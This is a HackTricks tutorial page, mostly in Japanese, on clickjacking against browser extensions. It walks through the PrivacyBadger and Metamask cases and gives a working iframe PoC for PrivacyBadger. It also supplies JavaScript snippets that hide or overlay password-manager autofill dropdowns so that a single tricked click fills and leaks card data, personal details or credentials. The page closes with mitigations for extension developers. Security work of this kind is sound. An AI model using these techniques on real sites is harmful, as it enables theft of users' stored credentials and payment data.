BrowExt - ClickJacking
Reading time: 14 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
このページではブラウザ拡張の ClickJacking 脆弱性を悪用します。
ClickJacking が何か分からない場合は次を確認してください:
Extensions contains the file manifest.json and that JSON file has a field web_accessible_resources. Here's what the Chrome docs say about it:
これらのリソースは、URL
chrome-extension://[PACKAGE ID]/[PATH]を介してウェブページ上で利用可能になり、これはextension.getURL methodによって生成できます。許可リストに登録されたリソースは適切な CORS ヘッダーとともに配信されるため、XHR のような機構を介して利用可能です。1
web_accessible_resources は単にウェブからアクセス可能というだけでなく、拡張の持つ固有の権限で動作します。これは以下のことが可能であることを意味します:
- 拡張の状態を変更する
- 追加のリソースを読み込む
- ある程度ブラウザと相互作用する
しかし、この機能はセキュリティ上のリスクをはらんでいます。web_accessible_resources 内のリソースが何らかの重要な機能を持っている場合、攻撃者はそのリソースを外部のウェブページに埋め込むことができます。ページを訪れたユーザーが無自覚にその埋め込まれたリソースを起動してしまう可能性があり、その起動は拡張の権限やリソースの機能に応じて意図しない結果を引き起こす可能性があります。
PrivacyBadger 例
In the extension PrivacyBadger, a vulnerability was identified related to the skin/ directory being declared as web_accessible_resources in the following manner (Check the original blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
この設定により潜在的なセキュリティ問題が発生しました。具体的には、ブラウザで PrivacyBadger アイコンを操作した際に表示される skin/popup.html ファイルが iframe に埋め込まれる可能性がありました。この埋め込みを悪用すると、ユーザを騙して誤って "Disable PrivacyBadger for this Website" をクリックさせてしまう恐れがあります。そうすると PrivacyBadger の保護が無効化され、トラッキングが増加する可能性があります。エクスプロイトの視覚的デモは ClickJacking のビデオ例で確認できます: https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm。
この脆弱性に対処するため、簡単な解決策が実施されました: web_accessible_resources の一覧から /skin/* を削除しました。この変更により、skin/ ディレクトリ内のコンテンツが web-accessible resources を通じてアクセスまたは操作されることが防止され、リスクが軽減されます。
修正は簡単でした: remove /skin/* from the web_accessible_resources.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask の例
Metamask における ClickJacking に関するブログ記事はこちら。このケースでは、Metamask はアクセスに使われるプロトコルが https: または http: であることを確認することで脆弱性を修正しました(例えば chrome: ではないこと):
.png)
Metamask 拡張で修正された別の ClickJacking は、ページがフィッシングの疑いがあるために “web_accessible_resources”: [“inpage.js”, “phishing.html”] のせいでユーザーが Click to whitelist できてしまう問題でした。 そのページが Clickjacking に脆弱だったため、攻撃者は正規のものを表示して被害者に気づかれずにホワイトリストに追加させ、その後フィッシングページに戻してホワイトリスト登録されたままにすることができました。
Steam Inventory Helper の例
次のページで、ブラウザ拡張の XSS が ClickJacking 脆弱性とどのように連鎖したかを確認してください:
DOM-based Extension Clickjacking(Password Manager Autofill UIs)
従来の extension clickjacking は、誤設定された web_accessible_resources を悪用して特権的な HTML を iframe に読み込み、ユーザークリックを誘導します。新しいクラスである DOM-based extension clickjacking は、password managers によってページの DOM に直接注入される autofill ドロップダウンを狙い、CSS/DOM のトリックでそれらを隠したり覆ったりしつつクリック可能な状態を保ちます。強制された1回のクリックで保存された項目が選択され、攻撃者操作の入力欄に機密データが自動入力されます。
脅威モデル
- 攻撃者がウェブページを制御している(または関連ドメインで XSS/サブドメイン乗っ取り/キャッシュポイズニングを達成している)。
- 被害者は password manager 拡張をインストールしてアンロックしている(名目上ロックされていても一部 autofill が動作することがある)。
- 少なくとも1回のユーザークリックが誘導される(オーバーレイされたクッキーバナー、ダイアログ、CAPTCHAs、ゲームなど)。
攻撃フロー(手動 autofill)
- 不可視だがフォーカス可能なフォームを注入する(ログイン/PII/クレジットカード項目)。
- 入力欄にフォーカスを当てて、拡張の autofill ドロップダウンをその近くに呼び出す。
- 拡張 UI を隠すか覆い隠して、操作は可能なままにする。
- 隠したドロップダウンの下に信じられるコントロールを整列させ、項目を選択させるクリックを強制する。
- 攻撃者のフォームから自動入力された値を読み取り、外部へ持ち出す。
autofill UI を隠す方法
- Extension element
- Root element opacity (generic):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- open ShadowRoot 内の子要素 (動的タグ、内部の iframe を隠す):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- 親要素
- BODY/HTML の opacity トリックで、ページは通常通りに見える一方で extension UI を不可視にする(例: スクリーンショットの背景):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- オーバーレイ
- 部分的なオーバーレイ: ドロップダウンがクリック可能なままになるように数ピクセルだけを露出させて他を覆い隠す(attacker overlay が DOM 内で最後に来て max z-index を持つことを確認する、または Top Layer を使用)
- pointer-events:none を使ったフルオーバーレイでクリックを非表示のドロップダウンへ通過させる;Popover API でそれを持続させる:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
被害者クリックの位置決め
- Fixed placement: 隠したドロップダウンを「Accept cookies」、「Close」、またはCAPTCHAのチェックボックスなど、信頼できそうな操作要素の下に配置する。
- Follow-mouse: フォーカスされた入力要素をカーソルの下に移動させ、ドロップダウンがそれに追従するようにする; 定期的に再フォーカスして、どこをクリックしても一度のクリックで項目が選択されるようにする:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
影響とシナリオ
- 攻撃者が制御するサイト: 仕向けられた1回のクリックで、ドメインに制限されないクレジットカード情報(number/expiry/CVC)や個人情報(name, email, phone, address, DOB)を exfiltrate できる。
- 信頼されたサイトでの XSS/subdomain takeover/cache poisoning: 複数クリックによる資格情報(username/password)や TOTP の窃取。多くのマネージャは関連するサブドメイン/親ドメイン(例:
*.example.com)に跨って autofill するため。 - Passkeys: RP が WebAuthn challenges をセッションに紐付けていない場合、XSS は署名済みアサーションを傍受できる;DOM-based clickjacking は passkey プロンプトを隠してユーザーの確認クリックを誘発する。
制限事項
- 少なくとも1回のユーザークリックと適切なピクセル整合が必要(現実的なオーバーレイはクリックを誘発しやすい)。
- 自動ロック/ログアウトは悪用の窓を狭めるが、一部のマネージャは「locked」状態でも autofill を行う場合がある。
Extension developer mitigations
- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
- CSS の改ざんに耐える: prefer Closed Shadow DOM and monitor with
MutationObserverfor suspicious style changes on UI roots. - Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable
pointer-events:none, and useelementsFromPoint()to detect occlusion; close UI if overlays exist. - Detect suspicious
<body>/<html>opacity or style changes both pre- and post-render. - For iframe-based issues: scope MV3
web_accessible_resourcesmatchesnarrowly and avoid exposing HTML UIs; for unavoidable HTML, serveX-Frame-Options: DENYorContent-Security-Policy: frame-ancestors 'none'.
References
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks